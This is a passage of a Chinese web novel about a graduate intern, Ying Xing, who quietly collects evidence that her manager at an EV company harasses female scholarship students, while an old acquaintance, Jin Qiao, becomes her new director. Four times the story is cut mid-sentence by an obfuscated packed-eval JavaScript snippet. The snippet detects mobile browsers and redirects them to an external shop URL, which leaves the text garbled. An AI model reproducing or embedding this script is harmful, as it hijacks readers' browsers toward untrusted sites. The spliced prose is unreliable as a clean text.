靳樵先点了两个菜,应星后点了两个,她还想再点,靳樵说够了,不浪费。 餐厅的菜上得很快,色香味都不错。靳樵要了米饭,认真地吃,也不开口说话,仿佛不怕尴尬似的。 应星问:“味道如何?吃得惯吗?” 都是汉源这一带的家常菜。靳樵在国外呆了九年,胃还是中国胃,这段时间回到国内吃什么都好吃。 应星:“这家餐厅在平台时的评分不错,特色是瓦罐汤。如果你有兴趣,要不要点一道尝尝看?” “不知道国外的中餐馆是不是也分口味和菜系……” 应星努力地找着可以聊的话题,避免太冷场,靳樵也发现了。靳樵在国外交朋友很随意,大家是合则聚不合则散,他许久没吃过这么硬聊的一餐饭了。 刚才应星说话的时候他就在想,弼博两年的工资够不够应星这几年读书和养家,如果只有她一个人,勉强还可能……但她还有爷爷奶奶和一个身有残疾的弟弟。 靳樵心想,早知道就不来了……怪他该死的好奇心。也怪应星身上的问题太多,他要知道就得来,还怪他对靳建华的嘱托有该死的责任心! 好不容易一顿饭吃得差不多,应星中途去了趟洗手间。回来时,靳樵已经吃好了,正在喝桌上的薏米茶。 应星坐下,从钱包里拿出那张蓝色的银行卡,推到桌上。 “靳樵,我今天约你见面,还有另一件重要的事……这是你当年在县中校门口,给我的那张银行卡。” 靳樵朝她投去疑惑的目光。 “困难的时候,我挪用过里面的钱,后来手头宽裕,又给补齐了。真的谢谢你,这笔钱给我应了急。现在你既然回国,请,将这笔钱收回去吧。” 靳樵的目光由疑惑变得复杂。他已经忘记了这张卡长什么模样,他只记得自己随手在上面贴了张字条,写着卡的密码,他那时懒得去银行将密码改成六个零什么的。 “应星,原来你请我吃饭是为了还我钱啊,我当年有说过这钱是借给你的吗?” 应星看着他:“你没说过借给我,但是我那时跟你说过,我爸的赔偿金和老师帮忙申请的助学金已经够我上学了,我那时也说,我不能再收你和靳教授的钱……” 靳樵心里产生了一个想法,应星这个人是有点虚伪在身上的。她今天穿一身牛仔裤T恤,看着就是穿了许久的旧款,她是怎么拿出的这十万块钱? 靳樵不知不觉皱起了眉。“应星,我该说你什么好!这钱就是爷爷给你的,如果不是他去世,本来还可以资助你更多……谁要你还了吗?你在犟什么?” 那一年,应星追到汽运站没找到人,后来还打过几次靳樵的电话,靳樵都没有接。再后来,靳樵出国,那个号弃用,应星就再也没有方式联系靳樵了。应星无意中加了李耿微信,她曾经有一次问过李耿靳樵的联系方式,想把那笔钱还回去,李耿三缄其口,说自己什么都不知道。或许是靳樵跟李耿说过什么,或许有别的原因,后来,就再也没有联系了。 应星并不回避靳樵的目光,她看着他:“说心里话,靳樵,这些年,我拿着这笔钱,就像是拿着一个烫手的山芋。我那时拒绝了你的帮助,却又拿着这笔钱,拿着这笔钱,却又不能心安理得地花,还挪用过里面的钱,我做得真的不好,不知道怎么处置,请你收回去吧……” 靳樵动都没动:“你能不顾安危冲进火海救人,你就能心安理得地花这个钱。”道理在他看来简单得很。 “你拿回去吧,这钱我不要。” “不,靳樵,这钱我不能要……你既然回国了,让我撞见你,我就想着要还给你。” 靳樵端起温下来的一杯薏米茶全部喝下去,“据我所知,弼博给应届生的工资虽然不低,但是,应星,你用两年工资读书养家也够呛吧?” 靳樵说话听起来有些不高兴了。 应星如实回答:“是这样的。但,我导师了解我的家庭情况,经常给我介绍工作,因此我是有收入的。” 靳樵不信,“什么工作?” 应星:“做助教、电视台节目的顾问和审稿、还有美术馆纪念馆的策展,以及有几个历史文化街区要整理地方志,这些找到老师的活,老师都会把我力所能及的事交给我做,都有报酬。” 还挺多,应星是真的有个好导师。 “哦,对了,你没在国内读研大概不知道,国内读研每个月是有补助金的……这几年我爷爷奶奶不生病,弟弟上学也有人管,我能很好地生活和照顾家里。靳樵,收回去吧,别让我多说了……” 应星最后这一句有点请求的意思,但靳樵不为所动。 “话我已经说过了,这是你的钱,给我也不缺这点钱。” “或者……靳樵,你收回去,不想留着的话可以把它捐给慈善基金……” “这不是我的钱。你想怎么处置就怎么处置,以后这种事别找我。” 靳樵站起身来,“应星,没什么事我先走了,我还很忙。” “靳樵!” 靳樵没理应星,头也不回走出去了。应星收起卡片出去时,靳樵已经走了。 应星叹了口气,这烫手山芋她还得继续拿着。靳樵刚才语气明显不太好,他肯定不缺这笔钱,不过大概对她很不理解,会觉得她虚伪吗?自讨苦吃吗? 她当初既然已经明确拒绝,那这笔钱就不是她的。至于当初为什么要拒绝,应星记得,高考毕业那一年的她是真心实意地想,她不能太贪心了,靳樵爷孙俩帮助她的已经太多。再要人家的……她就不知道该怎么回报了,她会变得面目可憎…… 这些话要是说给李耿听,或许他能懂。 应星结了账,从餐厅慢慢走到地铁站,一边走一边想。靳樵这样的人,大概永远都不能理解她这样的人在想什么吧。 ———— 到光年智科上班的第一天,应星办好实习手续,和赵小童一起帮别的同事干了些杂事。 林墨一早就给她发了两条消息:如何?那人在不在? 应星回他:D出差去了。 快下班的时候,戴浩成来公司了。 他和两个同事一起,都背着背包,拉着行李箱。他从电梯口进来,一路和工位上的同事问好,气氛很是融洽。就这样看过去,完全看不出这是个会做不法之事的人。 戴浩成的多面,应星不近距离察看是很难知道的。 戴浩成进了办公室,过了十来分钟。他走出来,叫道:“应星,小童学妹,进来办公室一下。” 同事们都还在,办公室的门开着。戴浩成一边收拾一边问她俩:“怎么样?来我们光年的第一天适应吗?” 赵小童:“学长,今天HR姐姐没有给我们俩分组。” 戴浩成笑着:“对,我前天去出差了。是我跟她说把你们俩要到我这里来的!我这里事情多,让你们俩来跟着我,青苗的学妹,我肯定要多加照顾的。” 赵小童眼睛亮亮的:“谢谢学长,谢谢戴总!” 这意味着,别的实习生都是普通员工派活,而应星和赵小童在总经理手下,这个以后写在简历上好看多了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477943|201591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 应星也说:“谢谢戴总。” “你们俩是我从青苗带来的学妹,叫学长,戴总都行。” 戴浩成说话就是这么令人不舒服。就是这样,好像谁是他范围内的所属,经由了他才来到这里……听起来像关照,可他的语气让应星从中听出些不同寻常,她真的很希望是自己过度应激。 戴浩成一边收拾,一边给应星和赵小童交代俩人接下来这段时间的工作内容。他是光年市场部的副总,负责品牌管理、数字营销和公共事务三个中心的工作。手底下带着上百名员工,亲自把两个实习生带在身边,真的算是特别关照了。 赵小童专注地听着,拿着笔记本认真地记。 戴浩成从行李箱拿出一盒甜点递到两人面前。 “小童,在你身后的储物柜找一找一次性手套,我给几位同事带了点心,这一盒你们俩吃!” “好的,谢谢戴总。” “应星,最近还去酒吧唱歌吗?我记得我认识你两年,真的还不知道你唱歌这么好听。” 他切入话题很自然,完全是随口闲聊想起来的样子。 应星急忙答:“只是运气好,刚好缺个女歌手,老板就答应让我去试试,比不上专业歌手,让学长见笑了。” 他坐下来打开电脑,“应星,你太谦虚了。你唱歌的那个视频我看了三遍,完全是可以上电视节目的水平。想没想过去报名选秀节目?我刚好认识一个电视台的制片人,需要的话我可以给你引荐。” 赵小童吃惊:“学长怎么会认识电视节目制片人?太厉害了。” 戴浩成挂起随和的笑:“市场部工作需要,我常年跟他们打交道。” “学长,我再练练气息和音准,多学点乐理知识,有需要我一定找你帮忙。” 很快到下班时间,戴浩成交代了几句,和几个同事一起出去了。 赵小童走后,应星并不急着走,用自己的电脑在所有光年智科相关的平台中搜索戴浩成这几年做的项目。应星几乎确定,除了在青苗基金会担任监事,最有可能让他有机会对女生图谋不轨的就是这几年的“光年英才”项目。戴浩成三年前入职光年,很快就升任品牌中心的负责人,操盘了好几个大的项目。其中“光年英才”是面向高校的,主要是培养新能源方面的人才和资助学子,最有可能单独接触到女学生。应星搜到,周祖宸还出席过一次“光年英才”的活动,为这个项目站台做宣传。 应星在海量的微信推文里找到两份不同版本的光年英才学生名单,明明是同一年,两个号发出的名单却有些不一样。应星足够细致,从那名单里看出,被调整过名字的两位都是女生。 这还是公布出来的,执行过程中在项目组内部没公布的那些呢? 她将找到的东西都截图保存,专门建了一个文件夹。 应星又打开微信,那天交流会请假的两个女生相继都回了信息。一个回的是生病了,一个回的是学生会有活动走不开。看起来都很正常,应星也没什么理由再多问,她不是指导老师,也不是基金会秘书长,只是作为那天的主持人随口关心一下。 科技大学离师大不远,应星给科技大学的女生发消息:“学妹,这几天你有时间吗?我想和你聊一聊,方便的话我来你学校见你一面。” 学妹过了好久才回复,应星看出来她勉为其难答应了。应星寄希望于有女学生手里有戴浩成做坏事的证据,这一点连她自己没做好。上大学那四年,应星很少有休息的时间。也许是戴浩成转移了目标,两条短信过后,应星没有受到进一步骚扰。旧手机坏了就丢了,现在觉察到有问题,聊天记录早就找不到了。 16. 空降 年中的市场部异常忙碌,每天加班的同事也变多了。大家都有预感,光年市场部似乎有什么大动作。 第二天上班时,八楼几乎安静了一个上午,员工们都不在,只有几个实习生留在工位干活。 快到午饭时间时,员工们才陆续回来。 应星听到大家津津有味地聊起,市场部空降了新的总监。 原来所有市场部的同事都到大会议厅开会去了。 光年的市场部是仅次于研发的第二大部门,下面有品牌、数字营销、产品市场、用户体验与活动等多个中心,做的都是最重要的业务,这个部门这两年是周祖宸亲自管。 午休时间,几个女同事点了外卖,等外卖的过程中还是凑在一起聊天。 大家工位挨得很近,应星听着,不到半小时便将空降总监的情况听了个七七八八。 新来的总监是周祖宸的校友,本科居仁,硕士藤校。有过三年在麦肯锡的经历,之后进入全球最知名的车企总部工作,前不久刚回国。 不知怎么,应星听出一丝熟悉之感。 几个女同事在她们小群里发了新总监的照片。 “看这张!先说好,不是偷拍,我拍的是大屏幕,其余人是自然入镜哈。” “今天是什么明星见面会!” “早知道坐近点呢!” “我困死了,怕在周神面前打瞌睡,只敢坐在后面!” 光年市场部的氛围不错,大家午休聊天时很活跃。 坐在应星前面的女生说:“讲真我觉得他比张XX帅。”张XX是最近在播的古偶男主演员。 “应该让张XX来这上班,让他去演《XX传》哈哈哈哈哈!” 大家笑得很开心,仿佛新总监人还没来过八层,已经把这里搅动起来了。 应星忍不住问旁边女生:“豆豆,新来的总监叫什么名字?” 叫豆豆的同事打开刚才手机里的照片,“叫靳樵!看这个!” 应星感觉脑门像被什么敲了一下。 …… 怎么会是……靳樵? 应星只是很久以前听李耿提过,靳樵申请的学校是耶鲁,后来,她再没问过关于靳樵的事……原来他的工作经历是这样。 照片上的靳樵穿着西装,站在周祖宸旁边,屏幕灯光照着,身姿挺拔五官深邃,确实有明星相。 豆豆问:“怎么样?是帅哥吗?” 应星再看了看,点头说实话:“嗯,确实。” 她前几天……也不是前几天吧,十几年前就已经知道了,堪比风景线的长相。 豆豆凑过来:“可惜他的办公室在楼上……他不下来的话,只有上去汇报工作才能见到。” ———— 外卖到了,大家一边吃饭,一边话题还是没有离开靳樵。 “三十岁为什么看起来这么年轻?” “什么意思难道三十应该是老人?” 有人低声:“面孔这么年轻,压不住那几位吧。”指的是几个中心的负责人,也是市场部的副总。大家都以为这个位置要从几个副总之间提拔,没想到是空降。 “这位读本科就跟周神一起做过项目打过比赛的,那时候周神在读研,他是团队唯一的本科生。” “周神身边的人,就不可能是普通人吧。” “那周神是工作狂,他岂不是……” “不要啊!” 午休结束时,有个同事推着推车走进来:“各位同事,靳总请大家喝奶茶。他现在还在周总那里,让我来拿给大家。” 大家欢呼道谢,看来新来的总监很会想事! 靳樵请的饮品,有咖啡有奶茶,实习生也有份。 应星拿了杯冰美,随手搜索了一下靳樵工作过的两个单位,结合他的履历,突然对他前几天那句“我不缺这点钱”有了实感。以靳樵在前面两个公司的职位,回国加入光年智科,只负责市场部的工作,算是低就了。 应星搜了会儿便停下了。靳樵二十岁时便是很优秀的人了,她努力了十年,离他依然有很远的距离,没法比。 ———— 新领导空降,戴浩成这一天只回了一趟八楼,都在开会。 他回来时已经到了下班时间,但他似乎手上正忙,坐在办公室继续做事。他加班,赵小童便也主动留下。进入光年实习的机会难得,实习生都会争取好好表现,争取以后校招能有机会成为正式员工。赵小童留下,应星便找了点事也留下。 她不想让戴浩成在下班后和赵小童单独相处。 好在这一整天戴浩成都很忙,没有跟她和赵小童多说什么。 应星赶到科技大学的时候已经快天黑了。 那位学妹来校门口接她,脸色并没有多好。两人进校园走了几步,应星寒暄了几句,不想浪费时间,便直接问了她:“学妹,我今天只是代表我一个来的,你说的话我听过之后绝不会有第二个人知道。我想问你,前阵子交流会你请假,真的是因为生病,还是有别的什么原因?” 应星的语调十分温和,学妹却很警惕:“你问这个干什么?” 应星:“我在查一些事情,想知道交流会有人请假的真实原因,如果你愿意说的话。” 那学妹沉默了一会儿,说:“因为有的人很恶心。” “谁?” 应星再问,她不说话了。 “是戴浩成吗?” 学妹没有回答。 “有的人很恶心,这就是我请假的真实理由。其他的我就不知道了,学姐,没别的事我先走了。” 应星还没来得及说什么,她冷着一张脸很快走了。 应星匆匆赶到琉璃酒吧,演出结束的时候,应星发现,学妹已经把她拉黑了。 应星整理了一下心情,从联系人列表里找到另一个已经毕业的女生,问好她方便之后把电话打了过去。这个女生还在汉源读书时跟应星关系不错,应星记得她也因为青苗资助的事难受过,只是那时她真的太忙太忙,听她说了些烦恼,没有放在心上。忙着做兼职让应星疏于察觉,错过了很多东西。 为免她上来就误会,应星没有提戴浩成的名字,只是问她青苗基金会有没有什么做得不好的地方。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477944|201591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>电话里的声音听不出什么语气:“应星,我都毕业了好久了,你问这个做什么?” 应星想了想,说:“如果是什么人有问题,那这个人就应该离开!他不适合继续做资助学子的事情,我想把证据找出来。” 那边沉默了片刻,好像在判断应星为什么打这个电话,为什么找到她。 “应星,你也是青苗的志愿者,你这个电话是代表基金会来回访的吗?” 应星:“我只代表我个人,这个电话没有别人知道,我是一个人在调查一些事。莉芳,基金会帮助你时,你有遇到一些不对的事,还跟我提起过,只是没有具体说,对吗?” 刘莉芳并不回答,记起应星是志愿者,语气反而变冷了,“应星,你只是志愿者,有什么立场来问这些问题呢?是谁让你打这个电话吗?” “没有谁让我打这个电话,莉芳,只是我一个人在搜集证据,但是我一定要找到。你……” 刘莉芳打断她说话:“毕业以前的事都跟我无关了,我今年刚换了工作,还在单位的试用期,不想多惹什么别的是非。应星,你别管了……” 刘莉芳很快把电话挂了。 应星连遭拒绝,虽然受挫,却也在她的意料之中。如果不是她已经足够成熟,如果是她刚上大学那几年,接到这样的电话她大概也会是这个反应。像她这样没有家庭做后盾的学生,得到帮助来到大城市读书,都会十分谨小慎微,害怕惹麻烦,遇到不公宁愿忍气吞声,生怕有点不对的事影响对自己的资助。毕竟,能得到那些钱完成学业,真的比什么都重要。青苗基金会每年资助学生们的钱并不多,但如果没有这笔钱,便足够让一个处于社会底层的家庭难以喘息。 这一通电话几乎坐实了她的猜想。戴浩成就是有大问题,只是看他对女学生们做的事到了什么程度,目前还不知道。 应星一直没有合适的时机提醒赵小童当心戴浩成。应星看得出来赵小童对戴浩成就像许多不知情的女学生那样,欣赏、信任、崇拜,很愿意跟着他学习。她没拿到确凿证据的情况下,跟赵小童多说并不妥当,反而是打草惊蛇,只能多花点注意力,避免戴浩成单独把赵小童叫去。 应星每天都把电脑带到公司。戴浩成和赵小童留下加班时,她也留点事自动留下。公司的事忙完,就找个背对戴浩成办公室的工位做导师给的兼职。赵小童离开,应星再离开,反正这些活她在哪里做都是做。 有一周时间,戴浩成没有再表现出什么过界的举动,除了有天中午一起在食堂吃饭时,让应星加了一下他的个人微信。职场人士有两个微信也不奇怪。应星翻了翻戴浩成的朋友圈记录,只发了一条出差的日常。她继续用各种渠道搜索戴浩成做的项目,却很难找到真正关键的信息了。 靳樵空降光年市场部,八楼的同事连续去大会议厅开了几次会,据说其中有两次周祖宸都在,一是为了交接任务,二是表示对靳樵的倚重。 八楼的几个同事午休时扒出了十几年前周祖宸和靳樵组队获得霍特奖亚太冠军的新闻和照片,对这个新来的领导一点也不敢怠慢,八楼的氛围一下子变了许多。 17. 登山 不过这些都跟几个实习生关系不大,实习生们只是听分配干活。 那一周,应星在八楼两次见到了靳樵。 第一眼远看靳樵这个人,大概都会觉得他是天生的衣服架子,穿西服挺拔贵气,穿衬衫又显得活力年轻。两次他从门口走进来,应星听到靠门口的同事问好,抬起头看到靳樵,都觉得他仿佛自带发光体。他一来,整个八楼的女同事们表情都被照亮了。打工人自诩牛马,嘴里从早到晚骂骂咧咧,但不影响大家爱看令人赏心悦目的异性。 应星坐在最靠里的工位,靳樵走近,她随大家一起起立问好。靳樵也看到了她,他目光扫过来,向大家点头回应,便继续忙工作的事了。在公司并不适合打招呼,靳樵和应星都知道。应星在琢磨的是,十万块那件事还要怎么再对靳樵提,钱拿在手里越久,越让她难堪。 ———— 应星在琉璃酒吧的演出时间是周三、周五和周六。老板知道她还在读书,试用期演出费没有给她打折。因为老板的这一点好意,应星决心在她的能力范围内努力提高演唱水准。她很业余,只是遗传了来自母亲的一点天赋,就这么得到一个机会,对她来说是意外的惊喜。 这段时间,应星有一点闲暇时间就狂补乐理知识,在平台找到好多提高唱功和表演水平的视频从头看起。她又找了许多歌单,开始听以前没听过的歌,听熟之后跟唱。她在琉璃看过别的歌手演唱,有几个歌手的歌单都特别广,简直什么都会唱。这是这一行的基本要求,近两个小时的演出时间很长,有时候还要接受客人随机点歌。客人点了歌,歌手不会唱,就算是服务不到位了。 周五下午,戴浩成在办公室多加了一阵班。应星还看到他把赵小童叫去,交给她一沓发票让她整理。办公区没剩几个同事,工位都离戴浩成的办公室有点远。应星并不放心,她大概是个天生操心的命。应星也不主动下班,就在工位上守着,不动声色地注意戴浩成办公室传来的动静,直到赵小童下班了,应星才收拾东西和她一起走出大楼。 距离她的演出时间只有四十分钟了。 应星估算了一下,打车能快十五分钟,还赶得及,她打开手机软件点了打车,前面只有几个人排队。 她一边看车一边跟赵小童打招呼:“小童,我有点事,需要提前打车过去。” 赵小童:“啊?” 这姑娘只知道应星会唱歌,在酒吧兼职,以为都是很晚才去演出,没有察觉应星是特意等她一起。弼博两年高强度的工作经历,让应星在光年市场部做什么事都上手极快,因此同事们交给到她手上的活也多,她留下加班好像是顺理成章的事情。 应星暂时不想跟她多说这件事,随口说:“我约了人,刚才估错了乘车时间,有点来不及了。” 赵小童看应星着急,急忙说:“好的好的,星姐拜拜。” 接单的师傅就在附近,很快到了公交车站,等应星很快上了车落座,再打开手机,傻眼了,刚才只有一段黄色的地方变成了红色,去梧桐公园有一半的路都堵了。 ———— 靳樵驱车从地库出来,到大楼前面时车流增大,速度慢了下来。 快到公交车站时,他突然看到应星在前面,上了前面靠边的出租车。出租车和靳樵的SUV之间隔了一辆。 车流走了几百米,变成龟速移动,再开了几百米,地图上一段路程全部变成了红色。 几分钟后,靳樵看到前面出租车靠边停下,应星从车里出来,挎着电脑包和手提袋,飞快向地铁口跑去。 这么赶?今天她有演出么…… 靳樵慢慢开回家,洗了个澡,晚高峰刚好结束,他又开去了梧桐路。找了家餐厅吃晚餐,再走到琉璃。 他看到应星居然还在舞台左边的位置等待。大约是因为时间赶不及,和别的歌手调换了演出顺序。 周五客人很多,男歌手演唱结束,顺带帮应星报了幕。四周响起零星的掌声,应星大方走上舞台,经过一段时间,她应对演出已经从容多了。 靳樵并非故意打量她,但还是一眼就看到,应星换了新的演出装。跟前几次也不一样,是一身紫色格子的制服裙。跟在公司的那中规中矩的实习生打扮全然是两个风格。应星的台风很文静,就站着安安静静地唱歌,大约也跟她不是专业的歌手有关。靳樵看出来老板并没有专门对应星进行培训,让她直接登台。琉璃酒吧有乐队,还有好几位兼职歌手,其中有擅长唱跳劲舞曲的,老板大概就是要多样性。 靳樵找了个很靠后的位置落座,这里可以看到舞台,但舞台上的人很难看清楚这里。靳樵还没有在琉璃和应星正面遇到过,这却已经是第三次听她唱歌了。他下意识隐在灯光的暗处,不想让应星有被熟人偷窥的感觉。虽然,其实他们也算不上熟人吧。 靳樵随意点了杯尼格罗尼,收回目光打开手机。最近看到应星的频率实在是有点高了。 他刚刚回国,没有朋友,和以前的老同学也没联系。除了公司、酒吧和健身房,还真不知道可以去哪里。 靳樵发消息给李耿和周祖宸,问有没有比较活跃的汉源本地的居仁校友群。 过了一会儿周祖宸给他推荐了两个群,一个是登山远足的背包群,一个和友校约赛的运动群。 靳樵点了申请,认真填了认证 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477945|201591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信息,群主很快把他拉了进去。 靳樵进去没说话,还是继续打开游戏界面。他以为群里只是大家分享推文、交换资源的地方,周祖宸作为创业者,工作狂,一年就没安排几天休息时间,哪来的时间参加校友活动。 没想到过一局游戏结束没多久,真的有人在群里发起了组团。 团长发了登山的路线,时间是本周末,靳樵点进去看,还真产生了兴趣。这条线路他在Youtobe看到过,离汉源市不算远,沿途风景很不错,这两年在汉源等地很受登山爱好者欢迎。 群里很快就有人在下面接龙报名。靳樵还在看路线,没想到周祖宸在群里@他,说了句“我帮学弟报名”,然后把靳樵的名字接在了后面。 …… 周祖宸那么忙,脚不沾地,还能腾出时间来照管靳樵的私生活,靳樵看出他很想把靳樵留在国内了。 不一会儿,领队加了靳樵微信,问确不确定明天一起。 靳樵发:“你好,回国第一次登山,除了装备,加入队内还需要什么条件?” 领队是一个比他小几届的建筑系校友,很快回:“咱们这是兴趣群,没有条件,平时有锻炼习惯,体能跟得上就可以了。我明早会给大家买好户外运动险。” 靳樵:“那我确定报名吧,谢谢你们带我。” 找点事做,他是在太无聊了。 ———— 周五客人很多,因此应星没有看到靳樵,更没有注意到,角落里还有个人拿着手机在对她拍,不是拍她唱歌,是拍她的人。 回去的路上,应星收到一条消息,戴浩成用小号发来一个视频。 视频有四十几秒,是应星今天唱歌的片段。如果只看几秒看,就像普通的酒吧客人对着舞台,随手录下一段表演。但这个视频的重点不是唱歌,十五秒之后,镜头下移对准了她穿短裙的腿,视觉中心就定在短裙边缘。 戴浩成的第二条消息随即发来:“今天和客户去酒吧喝了一杯,没想到这么巧能偶遇……女歌手长得漂亮,唱得也很好啊!” 他还附了个表情,视频让应星很不舒服,看看手臂,就这样突然起了一身鸡皮疙瘩。周五晚客人太多了,她完全没注意到戴浩成和他请的客户坐在哪个位置。 直到回到宿舍,应星才回复:“戴总,您谬赞了。” 戴浩成没有再回。应星忍着难受把那视频再看了一遍,猜想戴浩成刚开始引诱女生是不是都这样,发一些表示欣赏、关心的消息,有微妙的暧昧,界限模糊,仔细看却又好像没什么。 到这一步,应星知道戴浩成这个人必须要查,她的决定做对了。 18. 商场 周一上班,打卡时间过了半小时,赵小童和一群同事都不在。 戴浩成端着水杯从茶水间回来,跟她说:“应星,准备一下,和我外出一趟。” 应星提起十二分的警觉,面上波澜不惊,“戴总,豆豆李哥他们今天都外出了吗?还有小童。” “今天姿斓购物中心有我们的车展,负责的同事都过去了。小童早上也跟大家一起过去打下手。人手不够,你先放下手里的事情,跟我一块过去。” 这些天应星主要在戴浩手底下负责媒体内容,偶尔帮同事做个杂活,别的事情她没参与。 原来今天有线下活动。 “好的,戴总。” 应星赶去卫生间给林墨发消息:“墨墨,定时给我发消息!如果半小时没回,就打电话过来!” 戴浩成走出办公室:“走吧。” 应星拿上包,跟戴浩成一起坐电梯去停车场。 戴浩成开的是光年去年出的一款车,不能算豪车之列,但这款车外观大气内部舒适,引起普通女学生的好感足够了。 现在应星看到什么都在联想。 应星坐在副驾,戴浩成开车驶出熠辉大厦。 他闲适地握住方向盘,一边和应星聊天。 “学妹,我昨天才听小童说你申请了居仁的历史学博士。九月就要去读博,你很厉害啊。” “没有,学长,是多亏了导师帮忙。” 戴浩成熟练地汇入车流,“你对市场部的工作上手真的很快,完全不输给豆豆她们这些正式员工,我那天还跟曾总说,等九月社招,可以留你在我们市场部,看来是不能了。” “如果不读书的话,真可以考虑留下,直接来做我的助理怎么样?我很喜欢你的呀。我是说很喜欢你的表现。” 又是那种话,微妙的暧昧,模糊的界限。但现在的应星不觉得模糊,她觉得太露骨了。 应星不知道戴着墨镜的戴浩成是用什么表情说出的这几句话,她甚至没有勇气偏过头去看他。她庆幸是现在的自己在应对他。要是以前的应星,听到这些,她会内耗到整夜睡不着觉。 应星不接茬。“戴总,谢谢你啊,你给我派的任务不难,豆豆她们又很热心指导我,我才能做得比较顺利。” “我发现,在酒吧演出的你跟在公司很不一样。今天怎么不穿昨晚的那套JK裙?光年是个文化很开放的公司,豆豆她们有时候穿得比你那套还短,这在我们公司很常见。” 应星佯装不明其意,“什么?” 戴浩成笑了一声,没再重复,就像刚才谈论的是天气。 “对了,学妹,你还没结婚吧?我记得你在朋友圈发过男朋友。” 应星:“长期异地,分手了,学长要给我介绍吗?” “学妹找男朋友还需要介绍?” 应星快要坚持不住的时候,微信通话的声音响了。林墨声音从听筒传出,问应星正在什么地方,方不方便接电话。 “我跟公司的戴总现在开车去姿斓购物中心,今天有光年的车展。现在在车上,大约还有十来分钟到。” 应星把声音上调,当着戴浩成把信息告诉了林墨。 林墨在那边大声说:“那行!我要跟你吐槽件事情!气死我了。” 她跟应星说了件和同事之间的摩擦,快到广场时才挂电话。应星又给她发去语音:“我马上到地方了,只能抽空回你哦,今天下班我来再找你,给你带那附近的肉松小贝。” 她尽量把话说得长,很快到了停车的地方,戴浩成没有找到机会再说什么。 这一段是林墨和应星提前讲好的。戴浩成没有察觉,带着应星来到车展,跟展位工作的同事打招呼。应星看到豆豆果然穿一身短裙。戴浩成这样的人,会不会让别人知道他在背后议论女同事?他是笃定了实习生不会说出去吗? 应星上车前就开了录音笔,找个机会到卫生间检查刚才的录音,回来时不适感感好久都没散去。 ———— 因为应星不在工作群里,所以她不知道光年在姿斓购物中心有品牌车展,今天是第一天。 虽然是工作日,但人流量不小。公司还派了研发专家、销售顾问来现场。实习生只用负责引导和发放礼品,而戴浩成作为活动负责人则专门对接媒体和KOL,应星因此不用再和他近距离接触。 活动开始不久,应星意外看到靳樵从门口走了进来。 靳樵也来?? 他走进展厅,身边的同事一起问好。应星也跟着身旁的同事打招呼:“靳总好。” 应星听到身边的同事小声问:“靳总来干嘛?” “他也不在群里,也没说要来啊。” “体验做销售来了?” “……” 戴浩成也暂停接待博主的工作,站过来跟所有同事一起听靳樵说话。靳樵虽然刚上任,但他这个位置以前是周祖宸。应星看出来戴浩成也不敢怠慢。 与戴浩成还隔着三四个同事,应星还是后退了两步,退到他看不见的地方。没有注意到应星的异样,戴浩成在同事面前跟他背地里完全是两幅面孔。 靳樵履新不久,线下品牌活动他还没有参与过。他言简意赅:“我今天跟大家一起工作,接触一下潜在客户,大家该做什么还做什么,不用顾忌我。好,都去忙吧。” 他脱下西装外套,里面是跟大家一样的工作服。 接近中午,进展厅的人渐渐多起来。靳樵跟其他同事一起做接待咨询的活,引导顾客体验智能座舱和VR装置。有的顾客随意看了看之后并不想继续停留,靳樵一边和人聊天,一边陪人走出去好远。 也有人态度轻慢拒绝交流,靳樵也不恼火。不过大约是他那张明星似的脸很有作用,多数顾客都愿意和他聊,拒绝交流的时候不多。 身边的同事感慨:“看来靳总跟周神一样放得下架子。” 到了中午,靳樵请大家在商场吃了午饭,他和所有同事在展厅工作了一天。应星心里很愿意有靳樵在,靳樵在,戴浩成说话就变少了,也不在普通同事面前摆谱。 傍晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477946|201591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活动结束时,大家各自坐车回去。今天工作太累,应星不想再应付戴浩成,当面跟同事说自己约了朋友,让大家先走。 应星当然没真的和林墨约,她在商场逛了半个小时,确认戴浩成跟所有人一起走了,才走到外面去等车。 ———— 车灯亮起,一辆熟悉的城市SUV从马路中间驶过去。 